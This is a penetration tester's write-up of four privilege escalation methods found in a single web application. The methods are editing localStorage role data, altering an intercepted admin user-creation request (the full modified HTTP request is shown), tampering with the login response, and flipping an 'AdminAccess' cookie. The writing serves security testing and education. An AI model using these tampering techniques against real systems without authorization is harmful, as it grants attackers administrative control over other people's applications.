The Art of Access: Privilege Escalation through Multiple Methods

Most of you are familiar with privilege escalation attacks. For those who are not, it’s an attack where a user with limited privileges gains access to tasks typically restricted to an admin.

In this article, I’ll highlight several areas where you can explore this attack. During my testing work, I encountered all these attacks within a single web application, and I’ll provide examples from there of course without disclosing any sensitive information.

Senario 1

One of the simplest methods is to access the local storage data, which may contain information about admin-related endpoints or user roles assigned to the logged-in user.

In my scenario, the local storage contained the user’s permissions, where an admin had full write permissions and a regular user had only read permissions. I changed the permissions for the regular user to grant them write access, thereby unlocking the endpoints that were previously accessible only to admins. Here is a sample data that I utilized in my scenario.

{
"Admin":"write",
"Dashboard":"write",
"Subscriptions & Offers":"write",
"Content":"write",
"Customer Support":"write",
"App CMS":"write",
"APIs":false,
"Intelligence":false
}

Senario 2

If the application permits account creation with various roles, we can attempt to create an admin account using our low-privileged account.

I followed a similar approach. The low-privileged user, initially only able to create an account with their existing role. However, by intercepting the request in Burp and updating the permissions to match those of an admin, I successfully gained access. Here is the same request

This resembles the invite functionality, wherein users can invite new users. Hence, I won’t delve into this aspect.POST /endpoint/admin/user HTTP/2
Host: example
Cookie: cookie
Content-Length: 465
Sec-Ch-Ua: "Google Chrome";v🔥="117", "Not;A=Brand";v="8", "Chromium";v="117"
Accept: */*
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Sec-Ch-Ua-Platform: "Linux"
Origin: https://example.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://example/admin/manage
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8

{"roles":{"Admin":"write","Dashboard":"write","Subscriptions & Offers":"write","Content":"write","Customer Support":"write","App CMS":"write","APIs":"write","Intelligence":"write"},"firstName":"test","lastName":"user","username":"example@example.com","password":"Calendar202#","confirm-password":"Calendar202#","mobileNumber":"+91-9999999999","contributorData":"{\"categories\":null,\"tags\":null,\"persons\":null}","contentContributorData":"{\"users\":null}"}

Senario 3

Another method involves modifying the response received after login. This response contains permissions, so I modified it, and booooom🔥

Senario 4

Another approach is by modifying the cookie value. In my case, the cookie contained a parameter called “AdminAccess,” initially set to “false” for the low-privileged user. By changing it to “true,” I gained access to update user accounts and subsequently elevated my account privileges to the admin level.

In addition to these 4 privilege escalation attacks, I also uncovered instances of broken access control and 2other critical issues. Altogether, I reported 7 critical and 5 high severity issues.